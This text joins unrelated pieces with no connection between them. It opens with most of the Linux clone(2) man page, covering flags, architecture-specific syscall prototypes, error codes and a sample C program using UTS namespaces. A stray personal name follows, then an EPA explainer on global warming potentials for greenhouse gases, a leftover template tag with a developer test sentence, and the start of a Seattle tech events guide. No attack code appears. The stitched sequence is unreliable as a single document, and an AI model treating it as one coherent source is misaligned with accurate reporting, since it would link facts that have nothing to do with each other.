- CLONE_CHILD_CLEARTID (since Linux 2.5.49)
- Clear (zero) the child thread ID at the location pointed to by
child_tid (clone()) or cl_args.child_tid
(clone3()) in child memory when the child exits, and do a wakeup on
the futex at that address. The address involved may be changed by the
set_tid_address(2) system call. This is used by threading
libraries.
- CLONE_CHILD_SETTID (since Linux 2.5.49)
- Store the child thread ID at the location pointed to by child_tid
(clone()) or cl_args.child_tid (clone3()) in the
child's memory. The store operation completes before the clone call
returns control to user space in the child process. (Note that the store
operation may not have completed before the clone call returns in the
parent process, which will be relevant if the CLONE_VM flag is also
employed.)
- CLONE_CLEAR_SIGHAND (since Linux 5.5)
- By default, signal dispositions in the child thread are the same as in the
parent. If this flag is specified, then all signals that are handled in
the parent are reset to their default dispositions (SIG_DFL) in the
child.
- Specifying this flag together with CLONE_SIGHAND is nonsensical and
disallowed.
- CLONE_DETACHED (historical)
- For a while (during the Linux 2.5 development series) there was a
CLONE_DETACHED flag, which caused the parent not to receive a
signal when the child terminated. Ultimately, the effect of this flag was
subsumed under the CLONE_THREAD flag and by the time Linux 2.6.0
was released, this flag had no effect. Starting in Linux 2.6.2, the need
to give this flag together with CLONE_THREAD disappeared.
- This flag is still defined, but it is usually ignored when calling
clone(). However, see the description of CLONE_PIDFD for
some exceptions.
- CLONE_FILES (since Linux 2.0)
- If CLONE_FILES is set, the calling process and the child process
share the same file descriptor table. Any file descriptor created by the
calling process or by the child process is also valid in the other
process. Similarly, if one of the processes closes a file descriptor, or
changes its associated flags (using the fcntl(2) F_SETFD
operation), the other process is also affected. If a process sharing a
file descriptor table calls execve(2), its file descriptor table is
duplicated (unshared).
- If CLONE_FILES is not set, the child process inherits a copy of all
file descriptors opened in the calling process at the time of the clone
call. Subsequent operations that open or close file descriptors, or change
file descriptor flags, performed by either the calling process or the
child process do not affect the other process. Note, however, that the
duplicated file descriptors in the child refer to the same open file
descriptions as the corresponding file descriptors in the calling process,
and thus share file offsets and file status flags (see
open(2)).
- CLONE_FS (since Linux 2.0)
- If CLONE_FS is set, the caller and the child process share the same
filesystem information. This includes the root of the filesystem, the
current working directory, and the umask. Any call to chroot(2),
chdir(2), or umask(2) performed by the calling process or
the child process also affects the other process.
- If CLONE_FS is not set, the child process works on a copy of the
filesystem information of the calling process at the time of the clone
call. Calls to chroot(2), chdir(2), or umask(2)
performed later by one of the processes do not affect the other
process.
- CLONE_IO (since Linux 2.6.25)
- If CLONE_IO is set, then the new process shares an I/O context with
the calling process. If this flag is not set, then (as with
fork(2)) the new process has its own I/O context.
- The I/O context is the I/O scope of the disk scheduler (i.e., what the I/O
scheduler uses to model scheduling of a process's I/O). If processes share
the same I/O context, they are treated as one by the I/O scheduler. As a
consequence, they get to share disk time. For some I/O schedulers, if two
processes share an I/O context, they will be allowed to interleave their
disk access. If several threads are doing I/O on behalf of the same
process (aio_read(3), for instance), they should employ
CLONE_IO to get better I/O performance.
- If the kernel is not configured with the CONFIG_BLOCK option, this
flag is a no-op.
- CLONE_NEWCGROUP (since Linux 4.6)
- Create the process in a new cgroup namespace. If this flag is not set,
then (as with fork(2)) the process is created in the same cgroup
namespaces as the calling process.
- For further information on cgroup namespaces, see
cgroup_namespaces(7).
- Only a privileged process (CAP_SYS_ADMIN) can employ
CLONE_NEWCGROUP.
- CLONE_NEWIPC (since Linux 2.6.19)
- If CLONE_NEWIPC is set, then create the process in a new IPC
namespace. If this flag is not set, then (as with fork(2)), the
process is created in the same IPC namespace as the calling process.
- For further information on IPC namespaces, see
ipc_namespaces(7).
- Only a privileged process (CAP_SYS_ADMIN) can employ
CLONE_NEWIPC. This flag can't be specified in conjunction with
CLONE_SYSVSEM.
- CLONE_NEWNET (since Linux 2.6.24)
- (The implementation of this flag was completed only by about kernel
version 2.6.29.)
- If CLONE_NEWNET is set, then create the process in a new network
namespace. If this flag is not set, then (as with fork(2)) the
process is created in the same network namespace as the calling
process.
- For further information on network namespaces, see
network_namespaces(7).
- Only a privileged process (CAP_SYS_ADMIN) can employ
CLONE_NEWNET.
- CLONE_NEWNS (since Linux 2.4.19)
- If CLONE_NEWNS is set, the cloned child is started in a new mount
namespace, initialized with a copy of the namespace of the parent. If
CLONE_NEWNS is not set, the child lives in the same mount namespace
as the parent.
- For further information on mount namespaces, see namespaces(7) and
mount_namespaces(7).
- Only a privileged process (CAP_SYS_ADMIN) can employ
CLONE_NEWNS. It is not permitted to specify both CLONE_NEWNS
and CLONE_FS in the same clone call.
- CLONE_NEWPID (since Linux 2.6.24)
- If CLONE_NEWPID is set, then create the process in a new PID
namespace. If this flag is not set, then (as with fork(2)) the
process is created in the same PID namespace as the calling process.
- For further information on PID namespaces, see namespaces(7) and
pid_namespaces(7).
- Only a privileged process (CAP_SYS_ADMIN) can employ
CLONE_NEWPID. This flag can't be specified in conjunction with
CLONE_THREAD or CLONE_PARENT.
- CLONE_NEWUSER
- (This flag first became meaningful for clone() in Linux 2.6.23, the
current clone() semantics were merged in Linux 3.5, and the final
pieces to make the user namespaces completely usable were merged in Linux
3.8.)
- If CLONE_NEWUSER is set, then create the process in a new user
namespace. If this flag is not set, then (as with fork(2)) the
process is created in the same user namespace as the calling process.
- For further information on user namespaces, see namespaces(7) and
user_namespaces(7).
- Before Linux 3.8, use of CLONE_NEWUSER required that the caller
have three capabilities: CAP_SYS_ADMIN, CAP_SETUID, and
CAP_SETGID. Starting with Linux 3.8, no privileges are needed to
create a user namespace.
- This flag can't be specified in conjunction with CLONE_THREAD or
CLONE_PARENT. For security reasons, CLONE_NEWUSER cannot be
specified in conjunction with CLONE_FS.
- CLONE_NEWUTS (since Linux 2.6.19)
- If CLONE_NEWUTS is set, then create the process in a new UTS
namespace, whose identifiers are initialized by duplicating the
identifiers from the UTS namespace of the calling process. If this flag is
not set, then (as with fork(2)) the process is created in the same
UTS namespace as the calling process.
- For further information on UTS namespaces, see
uts_namespaces(7).
- Only a privileged process (CAP_SYS_ADMIN) can employ
CLONE_NEWUTS.
- CLONE_PARENT (since Linux 2.3.12)
- If CLONE_PARENT is set, then the parent of the new child (as
returned by getppid(2)) will be the same as that of the calling
process.
- If CLONE_PARENT is not set, then (as with fork(2)) the
child's parent is the calling process.
- Note that it is the parent process, as returned by getppid(2),
which is signaled when the child terminates, so that if
CLONE_PARENT is set, then the parent of the calling process, rather
than the calling process itself, will be signaled.
- The CLONE_PARENT flag can't be used in clone calls by the global
init process (PID 1 in the initial PID namespace) and init processes in
other PID namespaces. This restriction prevents the creation of
multi-rooted process trees as well as the creation of unreapable zombies
in the initial PID namespace.
- CLONE_PARENT_SETTID (since Linux 2.5.49)
- Store the child thread ID at the location pointed to by parent_tid
(clone()) or cl_args.child_tid (clone3()) in the
parent's memory. (In Linux 2.5.32-2.5.48 there was a flag
CLONE_SETTID that did this.) The store operation completes before
the clone call returns control to user space.
- CLONE_PID (Linux 2.0 to 2.5.15)
- If CLONE_PID is set, the child process is created with the same
process ID as the calling process. This is good for hacking the system,
but otherwise of not much use. From Linux 2.3.21 onward, this flag could
be specified only by the system boot process (PID 0). The flag disappeared
completely from the kernel sources in Linux 2.5.16. Subsequently, the
kernel silently ignored this bit if it was specified in the flags
mask. Much later, the same bit was recycled for use as the
CLONE_PIDFD flag.
- CLONE_PIDFD (since Linux 5.2)
- If this flag is specified, a PID file descriptor referring to the child
process is allocated and placed at a specified location in the parent's
memory. The close-on-exec flag is set on this new file descriptor. PID
file descriptors can be used for the purposes described in
pidfd_open(2).
- When using clone3(), the PID file descriptor is placed at the
location pointed to by cl_args.pidfd.
- When using clone(), the PID file descriptor is placed at the
location pointed to by parent_tid. Since the parent_tid
argument is used to return the PID file descriptor, CLONE_PIDFD
cannot be used with CLONE_PARENT_SETTID when calling
clone().
- It is currently not possible to use this flag together with
CLONE_THREAD. This means that the process identified by the PID
file descriptor will always be a thread group leader.
- If the obsolete CLONE_DETACHED flag is specified alongside
CLONE_PIDFD when calling clone(), an error is returned. An
error also results if CLONE_DETACHED is specified when calling
clone3(). This error behavior ensures that the bit corresponding to
CLONE_DETACHED can be reused for further PID file descriptor
features in the future.
- CLONE_PTRACE (since Linux 2.2)
- If CLONE_PTRACE is specified, and the calling process is being
traced, then trace the child also (see ptrace(2)).
- CLONE_SETTLS (since Linux 2.5.32)
- The TLS (Thread Local Storage) descriptor is set to tls.
- The interpretation of tls and the resulting effect is architecture
dependent. On x86, tls is interpreted as a struct
user_desc * (see set_thread_area(2)). On x86-64 it is
the new value to be set for the %fs base register (see the
ARCH_SET_FS argument to arch_prctl(2)). On architectures
with a dedicated TLS register, it is the new value of that register.
- Use of this flag requires detailed knowledge and generally it should not
be used except in libraries implementing threading.
- CLONE_SIGHAND (since Linux 2.0)
- If CLONE_SIGHAND is set, the calling process and the child process
share the same table of signal handlers. If the calling process or child
process calls sigaction(2) to change the behavior associated with a
signal, the behavior is changed in the other process as well. However, the
calling process and child processes still have distinct signal masks and
sets of pending signals. So, one of them may block or unblock signals
using sigprocmask(2) without affecting the other process.
- If CLONE_SIGHAND is not set, the child process inherits a copy of
the signal handlers of the calling process at the time of the clone call.
Calls to sigaction(2) performed later by one of the processes have
no effect on the other process.
- Since Linux 2.6.0, the flags mask must also include CLONE_VM
if CLONE_SIGHAND is specified
- CLONE_STOPPED (since Linux 2.6.0)
- If CLONE_STOPPED is set, then the child is initially stopped (as
though it was sent a SIGSTOP signal), and must be resumed by
sending it a SIGCONT signal.
- This flag was deprecated from Linux 2.6.25 onward, and was
removed altogether in Linux 2.6.38. Since then, the kernel silently
ignores it without error. Starting with Linux 4.6, the same bit was reused
for the CLONE_NEWCGROUP flag.
- CLONE_SYSVSEM (since Linux 2.5.10)
- If CLONE_SYSVSEM is set, then the child and the calling process
share a single list of System V semaphore adjustment (semadj)
values (see semop(2)). In this case, the shared list accumulates
semadj values across all processes sharing the list, and semaphore
adjustments are performed only when the last process that is sharing the
list terminates (or ceases sharing the list using unshare(2)). If
this flag is not set, then the child has a separate semadj list
that is initially empty.
- CLONE_THREAD (since Linux 2.4.0)
- If CLONE_THREAD is set, the child is placed in the same thread
group as the calling process. To make the remainder of the discussion of
CLONE_THREAD more readable, the term "thread" is used to
refer to the processes within a thread group.
- Thread groups were a feature added in Linux 2.4 to support the POSIX
threads notion of a set of threads that share a single PID. Internally,
this shared PID is the so-called thread group identifier (TGID) for the
thread group. Since Linux 2.4, calls to getpid(2) return the TGID
of the caller.
- The threads within a group can be distinguished by their (system-wide)
unique thread IDs (TID). A new thread's TID is available as the function
result returned to the caller, and a thread can obtain its own TID using
gettid(2).
- When a clone call is made without specifying CLONE_THREAD, then the
resulting thread is placed in a new thread group whose TGID is the same as
the thread's TID. This thread is the leader of the new thread
group.
- A new thread created with CLONE_THREAD has the same parent process
as the process that made the clone call (i.e., like CLONE_PARENT),
so that calls to getppid(2) return the same value for all of the
threads in a thread group. When a CLONE_THREAD thread terminates,
the thread that created it is not sent a SIGCHLD (or other
termination) signal; nor can the status of such a thread be obtained using
wait(2). (The thread is said to be detached.)
- After all of the threads in a thread group terminate the parent process of
the thread group is sent a SIGCHLD (or other termination)
signal.
- If any of the threads in a thread group performs an execve(2), then
all threads other than the thread group leader are terminated, and the new
program is executed in the thread group leader.
- If one of the threads in a thread group creates a child using
fork(2), then any thread in the group can wait(2) for that
child.
- Since Linux 2.5.35, the flags mask must also include
CLONE_SIGHAND if CLONE_THREAD is specified (and note that,
since Linux 2.6.0, CLONE_SIGHAND also requires CLONE_VM to
be included).
- Signal dispositions and actions are process-wide: if an unhandled signal
is delivered to a thread, then it will affect (terminate, stop, continue,
be ignored in) all members of the thread group.
- Each thread has its own signal mask, as set by sigprocmask(2).
- A signal may be process-directed or thread-directed. A process-directed
signal is targeted at a thread group (i.e., a TGID), and is delivered to
an arbitrarily selected thread from among those that are not blocking the
signal. A signal may be process-directed because it was generated by the
kernel for reasons other than a hardware exception, or because it was sent
using kill(2) or sigqueue(3). A thread-directed signal is
targeted at (i.e., delivered to) a specific thread. A signal may be thread
directed because it was sent using tgkill(2) or
pthread_sigqueue(3), or because the thread executed a machine
language instruction that triggered a hardware exception (e.g., invalid
memory access triggering SIGSEGV or a floating-point exception
triggering SIGFPE).
- A call to sigpending(2) returns a signal set that is the union of
the pending process-directed signals and the signals that are pending for
the calling thread.
- If a process-directed signal is delivered to a thread group, and the
thread group has installed a handler for the signal, then the handler will
be invoked in exactly one, arbitrarily selected member of the thread group
that has not blocked the signal. If multiple threads in a group are
waiting to accept the same signal using sigwaitinfo(2), the kernel
will arbitrarily select one of these threads to receive the signal.
- CLONE_UNTRACED (since Linux 2.5.46)
- If CLONE_UNTRACED is specified, then a tracing process cannot force
CLONE_PTRACE on this child process.
- CLONE_VFORK (since Linux 2.2)
- If CLONE_VFORK is set, the execution of the calling process is
suspended until the child releases its virtual memory resources via a call
to execve(2) or _exit(2) (as with vfork(2)).
- If CLONE_VFORK is not set, then both the calling process and the
child are schedulable after the call, and an application should not rely
on execution occurring in any particular order.
- CLONE_VM (since Linux 2.0)
- If CLONE_VM is set, the calling process and the child process run
in the same memory space. In particular, memory writes performed by the
calling process or by the child process are also visible in the other
process. Moreover, any memory mapping or unmapping performed with
mmap(2) or munmap(2) by the child or calling process also
affects the other process.
- If CLONE_VM is not set, the child process runs in a separate copy
of the memory space of the calling process at the time of the clone call.
Memory writes or file mappings/unmappings performed by one of the
processes do not affect the other, as with fork(2).
One use of these systems calls is to implement threads: multiple flows of
control in a program that run concurrently in a shared address space.
Glibc does not provide a wrapper for clone3(); call it
using syscall(2).
Note that the glibc clone() wrapper function makes some
changes in the memory pointed to by stack (changes required to set
the stack up correctly for the child) before invoking the
clone() system call. So, in cases where clone() is used to
recursively create children, do not use the buffer employed for the parent's
stack as the stack of the child.
The raw clone() system call corresponds more closely to fork(2) in
that execution in the child continues from the point of the call. As such, the
fn and arg arguments of the clone() wrapper function are
omitted.
In contrast to the glibc wrapper, the raw clone() system
call accepts NULL as a stack argument (and clone3() likewise
allows cl_args.stack to be NULL). In this case, the child uses a
duplicate of the parent's stack. (Copy-on-write semantics ensure that the
child gets separate copies of stack pages when either process modifies the
stack.) In this case, for correct operation, the CLONE_VM option
should not be specified. (If the child shares the parent's memory
because of the use of the CLONE_VM flag, then no copy-on-write
duplication occurs and chaos is likely to result.)
The order of the arguments also differs in the raw system call,
and there are variations in the arguments across architectures, as detailed
in the following paragraphs.
The raw system call interface on x86-64 and some other
architectures (including sh, tile, and alpha) is:
long clone(unsigned long flags, void *stack,
int *parent_tid, int *child_tid,
unsigned long tls);
On x86-32, and several other common architectures (including
score, ARM, ARM 64, PA-RISC, arc, Power PC, xtensa, and MIPS), the order of
the last two arguments is reversed:
long clone(unsigned long flags, void *stack,
int *parent_tid, unsigned long tls,
int *child_tid);
On the cris and s390 architectures, the order of the first two
arguments is reversed:
long clone(void *stack, unsigned long flags,
int *parent_tid, int *child_tid,
unsigned long tls);
On the microblaze architecture, an additional argument is
supplied:
long clone(unsigned long flags, void *stack,
int stack_size, /* Size of stack */
int *parent_tid, int *child_tid,
unsigned long tls);
The argument-passing conventions on blackfin, m68k, and sparc are different from
the descriptions above. For details, see the kernel (and glibc) source.
On ia64, a different interface is used:
int __clone2(int (*fn)(void *),
void *stack_base, size_t stack_size,
int flags, void *arg, ...
/* pid_t *parent_tid, struct user_desc *tls,
pid_t *child_tid */ );
The prototype shown above is for the glibc wrapper function; for
the system call itself, the prototype can be described as follows (it is
identical to the clone() prototype on microblaze):
long clone2(unsigned long flags, void *stack_base,
int stack_size, /* Size of stack */
int *parent_tid, int *child_tid,
unsigned long tls);
__clone2() operates in the same way as clone(),
except that stack_base points to the lowest address of the child's
stack area, and stack_size specifies the size of the stack pointed to
by stack_base.
In Linux 2.4 and earlier, clone() does not take arguments
parent_tid, tls, and child_tid.
On success, the thread ID of the child process is returned in the caller's
thread of execution. On failure, -1 is returned in the caller's context, no
child process will be created, and errno will be set appropriately.
- EAGAIN
- Too many processes are already running; see fork(2).
- EEXIST (clone3() only)
- One (or more) of the PIDs specified in set_tid already exists in
the corresponding PID namespace.
- EINVAL
- Both CLONE_SIGHAND and CLONE_CLEAR_SIGHAND were specified in
the flags mask.
- EINVAL
- CLONE_SIGHAND was specified in the flags mask, but
CLONE_VM was not. (Since Linux 2.6.0.)
- EINVAL
- CLONE_THREAD was specified in the flags mask, but
CLONE_SIGHAND was not. (Since Linux 2.5.35.)
- EINVAL
- CLONE_THREAD was specified in the flags mask, but the
current process previously called unshare(2) with the
CLONE_NEWPID flag or used setns(2) to reassociate itself
with a PID namespace.
- EINVAL
- Both CLONE_FS and CLONE_NEWNS were specified in the
flags mask.
- EINVAL (since Linux 3.9)
- Both CLONE_NEWUSER and CLONE_FS were specified in the
flags mask.
- EINVAL
- Both CLONE_NEWIPC and CLONE_SYSVSEM were specified in the
flags mask.
- EINVAL
- One (or both) of CLONE_NEWPID or CLONE_NEWUSER and one (or
both) of CLONE_THREAD or CLONE_PARENT were specified in the
flags mask.
- EINVAL (since Linux 2.6.32)
- CLONE_PARENT was specified, and the caller is an init process.
- EINVAL
- Returned by the glibc clone() wrapper function when fn or
stack is specified as NULL.
- EINVAL
- CLONE_NEWIPC was specified in the flags mask, but the kernel
was not configured with the CONFIG_SYSVIPC and CONFIG_IPC_NS
options.
- EINVAL
- CLONE_NEWNET was specified in the flags mask, but the kernel
was not configured with the CONFIG_NET_NS option.
- EINVAL
- CLONE_NEWPID was specified in the flags mask, but the kernel
was not configured with the CONFIG_PID_NS option.
- EINVAL
- CLONE_NEWUSER was specified in the flags mask, but the
kernel was not configured with the CONFIG_USER_NS option.
- EINVAL
- CLONE_NEWUTS was specified in the flags mask, but the kernel
was not configured with the CONFIG_UTS_NS option.
- EINVAL
- stack is not aligned to a suitable boundary for this architecture.
For example, on aarch64, stack must be a multiple of 16.
- EINVAL (clone3() only)
- CLONE_DETACHED was specified in the flags mask.
- EINVAL (clone() only)
- CLONE_PIDFD was specified together with CLONE_DETACHED in
the flags mask.
- EINVAL
- CLONE_PIDFD was specified together with CLONE_THREAD in the
flags mask.
- EINVAL (clone() only)
- CLONE_PIDFD was specified together with CLONE_PARENT_SETTID
in the flags mask.
- EINVAL (clone3() only)
- set_tid_size is greater than the number of nested PID
namespaces.
- EINVAL (clone3() only)
- If one of the PIDs specified in set_tid was an invalid PID.
- EINVAL (AArch64 only, Linux 4.6 and earlier)
- stack was not aligned to a 126-bit boundary.
- ENOMEM
- Cannot allocate sufficient memory to allocate a task structure for the
child, or to copy those parts of the caller's context that need to be
copied.
- ENOSPC (since Linux 3.7)
- CLONE_NEWPID was specified in the flags mask, but the limit
on the nesting depth of PID namespaces would have been exceeded; see
pid_namespaces(7).
- ENOSPC (since Linux 4.9; beforehand EUSERS)
- CLONE_NEWUSER was specified in the flags mask, and the call
would cause the limit on the number of nested user namespaces to be
exceeded. See user_namespaces(7).
- From Linux 3.11 to Linux 4.8, the error diagnosed in this case was
EUSERS.
- ENOSPC (since Linux 4.9)
- One of the values in the flags mask specified the creation of a new
user namespace, but doing so would have caused the limit defined by the
corresponding file in /proc/sys/user to be exceeded. For further
details, see namespaces(7).
- EPERM
- CLONE_NEWCGROUP, CLONE_NEWIPC, CLONE_NEWNET,
CLONE_NEWNS, CLONE_NEWPID, or CLONE_NEWUTS was
specified by an unprivileged process (process without
CAP_SYS_ADMIN).
- EPERM
- CLONE_PID was specified by a process other than process 0. (This
error occurs only on Linux 2.5.15 and earlier.)
- EPERM
- CLONE_NEWUSER was specified in the flags mask, but either
the effective user ID or the effective group ID of the caller does not
have a mapping in the parent namespace (see
user_namespaces(7)).
- EPERM (since Linux 3.9)
- CLONE_NEWUSER was specified in the flags mask and the caller
is in a chroot environment (i.e., the caller's root directory does not
match the root directory of the mount namespace in which it resides).
- EPERM (clone3() only)
- set_tid_size was greater than zero, and the caller lacks the
CAP_SYS_ADMIN capability in one or more of the user namespaces that
own the corresponding PID namespaces.
- ERESTARTNOINTR (since Linux 2.6.17)
- System call was interrupted by a signal and will be restarted. (This can
be seen only during a trace.)
- EUSERS (Linux 3.11 to Linux 4.8)
- CLONE_NEWUSER was specified in the flags mask, and the limit
on the number of nested user namespaces would be exceeded. See the
discussion of the ENOSPC error above.
The clone3() system call first appeared in Linux 5.3.
These system calls are Linux-specific and should not be used in programs
intended to be portable.
The kcmp(2) system call can be used to test whether two processes share
various resources such as a file descriptor table, System V semaphore undo
operations, or a virtual address space.
Handlers registered using pthread_atfork(3) are not
executed during a clone call.
In the Linux 2.4.x series, CLONE_THREAD generally does not
make the parent of the new thread the same as the parent of the calling
process. However, for kernel versions 2.4.7 to 2.4.18 the
CLONE_THREAD flag implied the CLONE_PARENT flag (as in Linux
2.6.0 and later).
On i386, clone() should not be called through vsyscall, but
directly through int $0x80.
GNU C library versions 2.3.4 up to and including 2.24 contained a wrapper
function for getpid(2) that performed caching of PIDs. This caching
relied on support in the glibc wrapper for clone(), but limitations in
the implementation meant that the cache was not up to date in some
circumstances. In particular, if a signal was delivered to the child
immediately after the clone() call, then a call to getpid(2) in
a handler for the signal could return the PID of the calling process
("the parent"), if the clone wrapper had not yet had a chance to
update the PID cache in the child. (This discussion ignores the case where the
child was created using CLONE_THREAD, when getpid(2)
should return the same value in the child and in the process that
called clone(), since the caller and the child are in the same thread
group. The stale-cache problem also does not occur if the flags
argument includes CLONE_VM.) To get the truth, it was sometimes
necessary to use code such as the following:
#include <syscall.h>
pid_t mypid;
mypid = syscall(SYS_getpid);
Because of the stale-cache problem, as well as other problems
noted in getpid(2), the PID caching feature was removed in glibc
2.25.
The following program demonstrates the use of clone() to create a child
process that executes in a separate UTS namespace. The child changes the
hostname in its UTS namespace. Both parent and child then display the system
hostname, making it possible to see that the hostname differs in the UTS
namespaces of the parent and child. For an example of the use of this program,
see setns(2).
Within the sample program, we allocate the memory that is to be
used for the child's stack using mmap(2) rather than malloc(3)
for the following reasons:
- mmap(2) allocates a block of memory that starts on a page boundary
and is a multiple of the page size. This is useful if we want to establish
a guard page (a page with protection PROT_NONE) at the end of the
stack using mprotect(2).
- We can specify the MAP_STACK flag to request a mapping that is
suitable for a stack. For the moment, this flag is a no-op on Linux, but
it exists and has effect on some other systems, so we should include it
for portability.
#define _GNU_SOURCE
#include <sys/wait.h>
#include <sys/utsname.h>
#include <sched.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
} while (0)
static int /* Start function for cloned child */
childFunc(void *arg)
{
struct utsname uts;
/* Change hostname in UTS namespace of child */
if (sethostname(arg, strlen(arg)) == -1)
errExit("sethostname");
/* Retrieve and display hostname */
if (uname(&uts) == -1)
errExit("uname");
printf("uts.nodename in child: %s\n", uts.nodename);
/* Keep the namespace open for a while, by sleeping.
This allows some experimentation--for example, another
process might join the namespace. */
sleep(200);
return 0; /* Child terminates now */
}
#define STACK_SIZE (1024 * 1024) /* Stack size for cloned child */
int
main(int argc, char *argv[])
{
char *stack; /* Start of stack buffer */
char *stackTop; /* End of stack buffer */
pid_t pid;
struct utsname uts;
if (argc < 2) {
fprintf(stderr, "Usage: %s <child-hostname>\n", argv[0]);
exit(EXIT_SUCCESS);
}
/* Allocate memory to be used for the stack of the child */
stack = mmap(NULL, STACK_SIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0);
if (stack == MAP_FAILED)
errExit("mmap");
stackTop = stack + STACK_SIZE; /* Assume stack grows downward */
/* Create child that has its own UTS namespace;
child commences execution in childFunc() */
pid = clone(childFunc, stackTop, CLONE_NEWUTS | SIGCHLD, argv[1]);
if (pid == -1)
errExit("clone");
printf("clone() returned %ld\n", (long) pid);
/* Parent falls through to here */
sleep(1); /* Give child time to change its hostname */
/* Display hostname in parent's UTS namespace. This will be
different from hostname in child's UTS namespace. */
if (uname(&uts) == -1)
errExit("uname");
printf("uts.nodename in parent: %s\n", uts.nodename);
if (waitpid(pid, NULL, 0) == -1) /* Wait for child */
errExit("waitpid");
printf("child has terminated\n");
exit(EXIT_SUCCESS);
}
fork(2), futex(2), getpid(2), gettid(2),
kcmp(2), mmap(2), pidfd_open(2),
set_thread_area(2), set_tid_address(2), setns(2),
tkill(2), unshare(2), wait(2), capabilities(7),
namespaces(7), pthreads(7)
This page is part of release 5.05 of the Linux man-pages project. A
description of the project, information about reporting bugs, and the latest
version of this page, can be found at https://www.kernel.org/doc/man-pages/.


ZHONG LIU
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Understanding Global Warming Potentials
Greenhouse gases (GHGs) warm the Earth by absorbing energy and slowing the rate at which the energy escapes to space; they act like a blanket insulating the Earth. Different GHGs can have different effects on the Earth's warming. Two key ways in which these gases differ from each other are their ability to absorb energy (their "radiative efficiency"), and how long they stay in the atmosphere (also known as their "lifetime").
The Global Warming Potential (GWP) was developed to allow comparisons of the global warming impacts of different gases. Specifically, it is a measure of how much energy the emissions of 1 ton of a gas will absorb over a given period of time, relative to the emissions of 1 ton of carbon dioxide (CO2). The larger the GWP, the more that a given gas warms the Earth compared to CO2 over that time period. The time period usually used for GWPs is 100 years. GWPs provide a common unit of measure, which allows analysts to add up emissions estimates of different gases (e.g., to compile a national GHG inventory), and allows policymakers to compare emissions reduction opportunities across sectors and gases.
- CO2, by definition, has a GWP of 1 regardless of the time period used, because it is the gas being used as the reference. CO2 remains in the climate system for a very long time: CO2 emissions cause increases in atmospheric concentrations of CO2 that will last thousands of years.
- Methane (CH4) is estimated to have a GWP of 28–36 over 100 years (Learn why EPA's U.S. Inventory of Greenhouse Gas Emissions and Sinks uses a different value.). CH4 emitted today lasts about a decade on average, which is much less time than CO2. But CH4 also absorbs much more energy than CO2. The net effect of the shorter lifetime and higher energy absorption is reflected in the GWP. The CH4 GWP also accounts for some indirect effects, such as the fact that CH4 is a precursor to ozone, and ozone is itself a GHG.
- Nitrous Oxide (N2O) has a GWP 265–298 times that of CO2 for a 100-year timescale. N2O emitted today remains in the atmosphere for more than 100 years, on average.
- Chlorofluorocarbons (CFCs), hydrofluorocarbons (HFCs), hydrochlorofluorocarbons (HCFCs), perfluorocarbons (PFCs), and sulfur hexafluoride (SF6) are sometimes called high-GWP gases because, for a given amount of mass, they trap substantially more heat than CO2. (The GWPs for these gases can be in the thousands or tens of thousands.)
Frequently Asked Questions
Why do GWPs change over time?
EPA and other organizations will update the GWP values they use occasionally. This change can be due to updated scientific estimates of the energy absorption or lifetime of the gases or to changing atmospheric concentrations of GHGs that result in a change in the energy absorption of 1 additional ton of a gas relative to another.
Why are GWPs presented as ranges?
In the most recent report by the Intergovernmental Panel on Climate Change (IPCC), multiple methods of calculating GWPs were presented based on how to account for the influence of future warming on the carbon cycle. For this Web page, we are presenting the range of the lowest to the highest values listed by the IPCC.
What GWP estimates does EPA use for GHG emissions accounting, such as the Inventory of U.S. Greenhouse Gas Emissions and Sinks (Inventory) and the Greenhouse Gas Reporting Program?
The EPA considers the GWP estimates presented in the most recent IPCC scientific assessment to reflect the state of the science. In science communications, the EPA will refer to the most recent GWPs. The GWPs listed above are from the IPCC's Fifth Assessment Report, published in 2014.
The EPA's Inventory of U.S. Greenhouse Gas Emissions and Sinks (Inventory) complies with international GHG reporting standards under the United Nations Framework Convention on Climate Change (UNFCCC). UNFCCC guidelines now require the use of the GWP values for the IPCC's Fourth Assessment Report (AR4), published in 2007. The Inventory also presents emissions by mass, so that CO2 equivalents can be calculated using any GWPs, and emission totals using more recent IPCC values are presented in the annexes of the Inventory report for informational purposes.
Data collected by EPA's Greenhouse Gas Reporting Program is used in the Inventory, so the Reporting Program generally uses GWP values from the AR4. The Reporting Program collects data about some industrial gases that do not have GWPs listed in the AR4; for these gases, the Reporting Program uses GWP values from other sources, such as the Fifth Assessment Report.
EPA's CH4 reduction voluntary programs also use CH4 GWPs from the AR4 report for calculating CH4 emissions reductions through energy recovery projects, for consistency with the national emissions presented in the Inventory.
Are there alternatives to the 100-year GWP for comparing GHGs?
The United States primarily uses the 100-year GWP as a measure of the relative impact of different GHGs. However, the scientific community has developed a number of other metrics that could be used for comparing one GHG to another. These metrics may differ based on timeframe, the climate endpoint measured, or the method of calculation.
For example, the 20-year GWP is sometimes used as an alternative to the 100-year GWP. Just like the 100-year GWP is based on the energy absorbed by a gas over 100 years, the 20-year GWP is based on the energy absorbed over 20 years. This 20-year GWP prioritizes gases with shorter lifetimes, because it does not consider impacts that happen more than 20 years after the emissions occur. Because all GWPs are calculated relative to CO2, GWPs based on a shorter timeframe will be larger for gases with lifetimes shorter than that of CO2, and smaller for gases with lifetimes longer than CO2. For example, for CH4, which has a short lifetime, the 100-year GWP of 28–36 is much less than the 20-year GWP of 84–87. For CF4, with a lifetime of 50,000 years, the 100-year GWP of 6630–7350 is larger than the 20-year GWP of 4880–4950.
Another alternate metric is the Global Temperature Potential (GTP). While the GWP is a measure of the heat absorbed over a given time period due to emissions of a gas, the GTP is a measure of the temperature change at the end of that time period (again, relative to CO2).The calculation of the GTP is more complicated than that for the GWP, as it requires modeling how much the climate system responds to increased concentrations of GHGs (the climate sensitivity) and how quickly the system responds (based in part on how the ocean absorbs heat).


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{% endblock %}


this text is meant to show that our github-search component doesn't push down the content underlying


Seattle Tech Events Resource Guide
Why connect to tech communities in Seattle?
- Foster relationships with new professional contacts
- Build projects with teams and gain experience
- Create community with fellow tech industry professionals
- Refresh existing skills and stay current on trends
- Learn new skills to stay competitive
- Find potential job referrals and references
- Contribute your knowledge and exchange ideas
Focus on your goals to select which events to attend
Questions like these can help narrow down which events are better suited to help you achieve your goals and keep up motivation to continue networking:
- Are you new to Seattle and just trying to discover people in the industry?
- If you’re job seeking, are you looking at specific companies or positions?
- Do you have skillsets you’re trying to grow or share with others?
- Are you interested in certain programming languages?
